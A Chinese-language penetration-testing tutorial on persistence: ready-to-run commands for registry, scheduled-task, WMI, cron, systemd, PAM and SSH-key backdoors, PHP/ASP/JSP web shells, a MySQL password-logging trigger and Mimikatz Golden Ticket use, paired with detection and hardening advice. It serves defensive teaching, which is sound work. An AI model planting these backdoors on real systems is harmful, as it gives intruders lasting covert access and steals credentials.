渗透测试中的权限维持技术:从入门到进阶
一、什么是权限维持?
1.1 定义
权限维持(Persistence),是指在成功入侵目标系统后,留后门,确保下次还能访问,即使管理员改了密码、重启了系统、修复了漏洞。
为什么需要权限维持?
- 漏洞可能修复:你利用的漏洞可能被补上,没有后门就进不去了
- 密码可能修改:管理员可能改密码,你的账号就失效了
- 系统可能重启:重启后,内存中的后门就没了
- 需要长期访问:渗透测试可能需要持续几周甚至几个月
1.2 权限维持的分类
权限维持可以分为以下几类:
- 操作系统级:修改系统配置,即使重启也还在
- 应用级:在Web应用、数据库中留后门
- 内网级:在域控、内网设备中留后门
- 物理级:在固件、BIOS中留后门(高级)
二、Windows下的权限维持技术
2.1 注册表Run键
原理:Windows启动时会自动读取注册表中的Run键,执行里面的程序。
位置:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
实战操作:
# 添加后门到当前用户的Run键 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" # 添加后门到所有用户的Run键(需要管理员权限) reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"检测方法:
- 定期导出注册表Run键,对比变化
- 用Autoruns工具查看所有自启动项
2.2 计划任务(Scheduled Tasks)
原理:Windows的计划任务可以在指定时间执行程序,可以设置"系统启动时执行"。
实战操作:
# 创建计划任务,系统启动时以SYSTEM权限执行后门 schtasks /create /tn "Windows Update" /tr "C:\Windows\Temp\backdoor.exe" /sc onstart /ru SYSTEM检测方法:
schtasks /query查看所有计划任务- 检查
C:\Windows\System32\Tasks\目录
2.3 服务(Services)
原理:Windows服务可以在系统启动时自动运行,以SYSTEM权限执行。
实战操作:
# 创建服务 sc create "WindowsUpdate" binpath= "C:\Windows\Temp\backdoor.exe" start= auto检测方法:
sc query查看所有服务- 检查服务的可执行路径是否合法
2.4 WMI事件订阅
原理:WMI(Windows Management Instrumentation)可以订阅系统事件,当事件发生时执行指定程序。
实战操作:
# 创建WMI事件订阅,当系统启动时执行后门 $filterName = "WindowsUpdate" $consumerName = "WindowsUpdateConsumer" # 创建事件过滤器 $query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325" $wmiFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName; EventNamespace="root\cimv2"; QueryLanguage="WQL"; Query=$query} # 创建事件消费者 $wmiConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName; CommandLineTemplate="C:\Windows\Temp\backdoor.exe"} # 绑定过滤器和消费者 Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$wmiFilter; Consumer=$wmiConsumer}检测方法:
- 用
Get-WmiObject -Namespace root\subscription -Class __EventFilter查看所有事件过滤器 - 用Sysmon监控WMI操作
2.5 映像劫持(Image File Execution Options)
原理:在注册表中设置 Image File Execution Options,可以让指定程序启动时执行另一个程序。
实战操作:
# 当sethc.exe(粘滞键)启动时,执行cmd.exe reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"利用场景:物理接触目标机器时,按5次Shift键,弹出cmd.exe(无需登录)。
检测方法:
- 检查
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options下的所有键值
三、Linux下的权限维持技术
3.1 cron定时任务
原理:Linux的cron服务可以在指定时间执行程序。
实战操作:
# 添加cron任务,每分钟执行一次后门 (crontab -l 2>/dev/null; echo "* * * * * /tmp/backdoor.sh") | crontab - # 或者写入到系统cron目录 echo '* * * * * root /tmp/backdoor.sh' > /etc/cron.d/backdoor检测方法:
crontab -l查看当前用户的cron任务- 检查
/etc/cron*目录
3.2 系统服务(systemd)
原理:systemd是Linux的初始化系统,可以管理服务,服务可以在系统启动时自动运行。
实战操作:
# 创建systemd服务 cat > /etc/systemd/system/backdoor.service << EOF [Unit] Description=System Backdoor [Service] Type=simple ExecStart=/tmp/backdoor.sh Restart=always [Install] WantedBy=multi-user.target EOF # 启用服务 systemctl enable backdoor.service systemctl start backdoor.service检测方法:
systemctl list-units --type=service查看所有服务- 检查
/etc/systemd/system/目录
3.3 隐藏用户
原理:在/etc/passwd中添加用户,密码哈希在/etc/shadow中。
实战操作:
# 添加用户 useradd -m -s /bin/bash backdoor echo "backdoor:Password123" | chpasswd # 或者修改UID为0,变成root权限 echo "backdoor:x:0:0::/home/backdoor:/bin/bash" >> /etc/passwd检测方法:
cat /etc/passwd | grep -E ':/bin/(ba)?sh$'查看所有可登录用户- 检查UID为0的用户
3.4 SSH密钥
原理:在目标用户的~/.ssh/authorized_keys中添加攻击者的公钥,可以无需密码登录。
实战操作:
# 生成SSH密钥对 ssh-keygen -t rsa -f /tmp/key # 将公钥添加到目标用户的authorized_keys echo "ssh-rsa AAAA... attacker@kali" >> /home/victim/.ssh/authorized_keys # 使用私钥登录 ssh -i /tmp/key victim@target检测方法:
- 检查所有用户的
~/.ssh/authorized_keys - 用EDR监控SSH密钥文件的修改
3.5 PAM后门
原理:PAM(Pluggable Authentication Modules)是Linux的认证模块,可以修改PAM配置,让特定密码都能登录。
实战操作:
# 备份原始PAM配置 cp /etc/pam.d/sshd /etc/pam.d/sshd.bak # 修改PAM配置,添加后门 echo "auth sufficient pam_exec.so /tmp/backdoor.sh" >> /etc/pam.d/sshd检测方法:
- 对比PAM配置的哈希值
- 用AIDE等文件完整性检查工具
四、Web后门的权限维持
4.1 传统Web后门
原理:在Web目录中放入包含恶意代码的文件(如PHP的eval($_POST['cmd']))。
实战操作:
// PHP后门 <?php @eval($_POST['cmd']); ?>// ASP后门 <% eval request("cmd") %>// JSP后门 <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>隐蔽技巧:
- 文件名伪装成正常文件(如
wp-cache.php) - 代码混淆(如
base64_decode(str_rot13('...'))) - 藏在图片中(利用文件包含漏洞)
4.2 内存Web后门
原理:将后门注入到Web服务器的内存中,不落磁盘,很难被检测到。
工具:
- PHP: memecache 扩展
- Java: 内存马(Filter/Servlet/Listener型)
检测方法:
- 用Volatility分析内存dump
- 用Java Agent监控内存中的类加载
五、数据库后门的权限维持
5.1 MySQL UDF后门
原理:利用MySQL的UDF(User Defined Function)功能,导出动态链接库,执行系统命令。
实战操作:
-- 查看插件目录 SHOW VARIABLES LIKE 'plugin_dir'; -- 导出UDF库 SELECT HEX(LOAD_FILE('/tmp/udf.so')) INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; -- 创建函数 CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so'; -- 执行命令 SELECT sys_exec('id > /tmp/result');检测方法:
- 检查MySQL插件目录中的可疑文件
- 用
SHOW FUNCTION STATUS查看所有UDF函数
5.2 MySQL触发器后门
原理:创建触发器,当特定表被操作时,执行恶意代码。
实战操作:
-- 创建触发器,当有用户登录时,将密码记录到文件 CREATE TRIGGER backdoor AFTER INSERT ON users FOR EACH ROW BEGIN SELECT sys_exec('echo ' || NEW.password || ' >> /tmp/passwords') INTO @dummy; END;六、内网横向中的权限维持
6.1 域控中的DCSync权限
原理:如果有账号被授予 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 权限,可以导出所有域用户的Hash。
实战操作:
# 使用Mimikatz导出所有域用户Hash mimikatz.exe "lsadump::dcsync /domain:test.com /all" exit持久化方法:
- 创建一个服务账号,授予DCSync权限
- 即使域管密码修改,这个账号依然能导出Hash
6.2 Golden Ticket
原理:如果有域控的KRBTGT账号的Hash,可以伪造任意用户的TGT(Ticket Granting Ticket),无需密码就能访问域资源。
实战操作:
# 使用Mimikatz创建Golden Ticket mimikatz.exe "kerberos::golden /user:administrator /domain:test.com /sid:S-1-5-21-... /krbtgt:Hash值 /id:500" exit # 注入到内存 mimikatz.exe "kerberos::ptt ticket.kirbi" exit # 访问域控 dir \\dc01\c$持久化方法:
- 保存Golden Ticket文件,需要时注入内存
- KRBTGT账号的Hash通常不变,除非域管主动重置
七、如何检测权限维持?
7.1 基线对比
方法:定期采集系统的基线(注册表、计划任务、服务、文件哈希等),对比变化。
工具:
- Windows: Sysmon + Splunk
- Linux: AIDE + ELK
7.2 行为监控
方法:监控可疑行为,如:
- 注册表Run键的修改
- 计划任务的创建
- 服务的创建
- WMI事件订阅的创建
- 新的SSH密钥
- 新的UDF函数
工具:
- EDR(Endpoint Detection and Response)
- HIDS(Host-based Intrusion Detection System)
7.3 内存分析
方法:定期dump内存,分析是否有恶意代码注入。
工具:
- Volatility
- Reka
7.4 常用检测工具对比
下表对比了文中提到的几种常用检测工具,帮助读者根据实际场景快速选型:
| 工具名称 | 核心功能 | 适用平台 | 优点 | 缺点 | 开源/商业 |
|---|---|---|---|---|---|
| Sysmon | 系统监控与事件记录,可记录进程创建、网络连接、文件创建、注册表修改等行为。 | Windows | 轻量级,配置灵活,可与SIEM集成,微软官方出品。 | 仅记录事件,需配合SIEM分析;默认配置可能产生大量日志。 | 免费(微软Sysinternals套件) |
| AIDE | 文件完整性检查,通过哈希比对检测文件、目录、权限等变更。 | Linux/Unix | 开源,轻量,可定期扫描并生成报告,适合基线对比。 | 仅能检测文件变化,无法实时监控行为;需定期更新基线数据库。 | 开源 |
| Volatility | 内存取证分析,可从内存转储中提取进程、网络连接、注册表、恶意代码等信息。 | 跨平台(支持Windows、Linux、macOS内存镜像) | 功能强大,支持多种插件,是内存分析的事实标准。 | 需要获取内存镜像(可能影响业务),分析门槛较高。 | 开源 |
| EDR (如 CrowdStrike、Carbon Black、Microsoft Defender for Endpoint) | 端点检测与响应,实时监控进程、文件、网络、注册表等行为,具备威胁检测、调查和响应能力。 | 跨平台(Windows、Linux、macOS) | 实时监控与响应,集成威胁情报,自动化调查与阻断。 | 通常为商业产品,成本较高;可能产生误报。 | 商业(部分提供免费基础版) |
| HIDS (如 OSSEC、Wazuh) | 基于主机的入侵检测,监控文件完整性、日志分析、rootkit检测等。 | 跨平台(Windows、Linux、macOS) | 开源可选,可自定义规则,适合构建自有安全监控体系。 | 部署和维护复杂度较高,需自行管理规则和告警。 | 开源(如OSSEC、Wazuh) |
| Autoruns | 全面枚举Windows自启动项(注册表、服务、计划任务、浏览器插件等)。 | Windows | 直观易用,可快速发现可疑自启动项,支持命令行版本。 | 仅限自启动项检测,无实时监控能力。 | 免费(微软Sysinternals套件) |
| Splunk/ELK | 日志聚合与分析平台,可集中收集、索引、搜索和可视化各类日志。 | 跨平台 | 强大的搜索与可视化能力,支持自定义告警和仪表盘。 | Splunk商业版昂贵,ELK部署和维护有一定复杂度。 | Splunk(商业,有免费版);ELK(开源) |
选型建议:
- Windows环境基线监控:Sysmon + Splunk/ELK,配合Autoruns定期检查。
- Linux文件完整性监控:AIDE + 定期巡检,或使用OSSEC/Wazuh等HIDS。
- 内存取证与高级威胁分析:Volatility(需配合内存采集工具)。
- 企业级实时防护与响应:部署EDR产品(如CrowdStrike、Microsoft Defender for Endpoint)。
- 成本敏感且具备运维能力:采用开源HIDS(如Wazuh)结合ELK构建监控体系。
八、防御与加固建议
权限维持防御体系构建流程
flowchart TD A[攻击面识别] --> B[系统加固] A --> C[应用安全] A --> D[内网加固] A --> E[监控响应] B --> B1[最小权限原则] B --> B2[定期审计自启动项] B --> B3[文件完整性监控] B --> B4[注册表/关键目录保护] B --> B5[服务与进程白名单] B --> B6[网络隔离与出口过滤] C --> C1[Web应用安全加固] C --> C2[数据库安全加固] C --> C3[代码仓库与部署管道安全] D --> D1[定期轮换KRBTGT密码] D --> D2[严格管控DCSync权限] D --> D3[启用Credential Guard] D --> D4[网络分段与微分段] D --> D5[强制使用LAPS] E --> E1[集中日志收集与分析] E --> E2[部署EDR/HIDS] E --> E3[定期红蓝对抗与渗透测试] E --> E4[建立应急响应流程] B1 --> F[持续监控与响应] B2 --> F B3 --> F B4 --> F B5 --> F B6 --> F C1 --> F C2 --> F C3 --> F D1 --> F D2 --> F D3 --> F D4 --> F D5 --> F F --> G[发现异常] G --> H[快速响应与处置] H --> I[修复漏洞与清除后门] I --> J[优化防御策略] J --> A</code></pre> 上图展示了从攻击面识别到持续监控与响应的闭环防御流程,涵盖文中提到的四个主要防御阶段: 系统加固:通过最小权限、定期审计、文件完整性监控等措施减少操作系统层面的攻击面。 应用安全:强化Web应用、数据库和代码部署流程的安全防护。 内网加固:针对域环境和内网横向移动进行专项防护。 监控响应:建立持续监控、威胁检测和应急响应机制,形成安全闭环。 了解攻击者的权限维持技术后,系统管理员和开发者可以从以下角度构建防御体系,减少攻击面并增强监控能力。 8.1 系统层面防御(Windows/Linux) 系统管理员视角: 最小权限原则:所有服务、计划任务、cron作业均以最低必要权限运行,避免使用SYSTEM/root权限。 定期审计自启动项: Windows:使用Autoruns、Sysinternals Suite定期检查注册表Run键、服务、计划任务、WMI订阅等。 Linux:定期检查/etc/cron.*、/etc/systemd/system/、/etc/rc.local及用户crontab。 文件完整性监控:部署AIDE、Tripwire或EDR工具,对系统关键文件(如/etc/passwd、/etc/shadow、~/.ssh/authorized_keys、PAM配置、系统服务文件)进行哈希基线,异常变更实时告警。 注册表与关键目录保护: Windows:对HKLM\Software\Microsoft\Windows\CurrentVersion\Run、Image File Execution Options等关键注册表路径设置审计策略,监控写入操作。 Linux:对/etc/passwd、/etc/shadow、/etc/pam.d/等文件设置chattr +i(只读)或严格权限(如root:root 644)。 服务与进程白名单:在企业环境中部署应用白名单解决方案(如Windows AppLocker、Linux SELinux/AppArmor),仅允许可信可执行文件运行。 网络隔离与出口过滤:限制服务器出站连接,仅允许访问必要的内部更新源或日志服务器,阻断后门外联。 8.2 应用与数据库防御 开发者与运维视角: Web应用安全: <pre> <ul>- 严格过滤文件上传类型与内容,禁止上传可执行脚本。
- 定期扫描Web目录是否存在可疑文件(如
*.php、*.jsp、*.asp),可使用ClamAV、YARA规则进行静态检测。 - 禁用危险函数(如PHP的
eval()、system()),在php.ini中设置disable_functions。 - 对内存Web后门,部署RASP(运行时应用自我保护)或定期使用Java Agent检测内存中异常Filter/Servlet。
- 数据库安全加固:
<ul> - MySQL:限制
FILE权限,避免普通用户执行SELECT ... INTO DUMPFILE;定期检查mysql.plugin目录和SHOW FUNCTION STATUS输出。 - 使用数据库审计插件(如MySQL Enterprise Audit、McAfee Audit Plugin)记录所有DDL与高危操作。
- 对触发器、存储过程、UDF函数进行代码审查,禁止执行系统命令。
- 代码仓库与部署管道安全:在CI/CD流程中加入SAST/DAST扫描,防止恶意代码进入生产环境。
8.3 内网与域环境加固
域管理员视角:
- 定期轮换KRBTGT账户密码:至少每180天更改一次,并确保两次更改间隔大于10小时,以失效已泄露的Golden Ticket。
- 严格管控DCSync权限:定期审计拥有
DS-Replication-Get-Changes和DS-Replication-Get-Changes-All权限的账户,仅限域控和必要的管理账号。 - 启用Windows Defender Credential Guard:保护LSASS进程,防止凭据窃取。
- 部署网络分段与微分段:限制域控、数据库服务器、应用服务器之间的非必要通信,减少横向移动路径。
- 强制使用LAPS(本地管理员密码解决方案):确保每台主机的本地管理员密码唯一且定期更换。
8.4 持续监控与响应
安全运营团队视角:
- 集中日志收集与分析:将系统日志、安全日志、应用日志统一接入SIEM(如Splunk、ELK),建立以下检测规则:
<pre><ul> - 计划任务创建/修改(Event ID 4698/4702)。
- 服务安装(Event ID 7045)。
- 注册表Run键修改。
- WMI事件订阅创建(Event ID 5861)。
- SSH authorized_keys文件变更。
- MySQL UDF/触发器创建。
- 部署EDR/HIDS:实时监控进程行为、网络连接、文件操作,对可疑行为(如陌生进程启动、异常外联)自动告警并阻断。
- 定期红蓝对抗与渗透测试:模拟攻击者手法,检验现有防御措施的有效性,持续优化安全策略。
- 建立应急响应流程:一旦发现权限维持痕迹,立即隔离受影响主机、清除后门、重置凭据、修复漏洞,并追溯攻击路径。
总结:防御权限维持需要纵深防御策略,结合系统加固、应用安全、网络隔离与持续监控。通过最小权限、定期审计、文件完整性检查、集中日志分析和快速响应,可大幅增加攻击者维持权限的难度与成本。
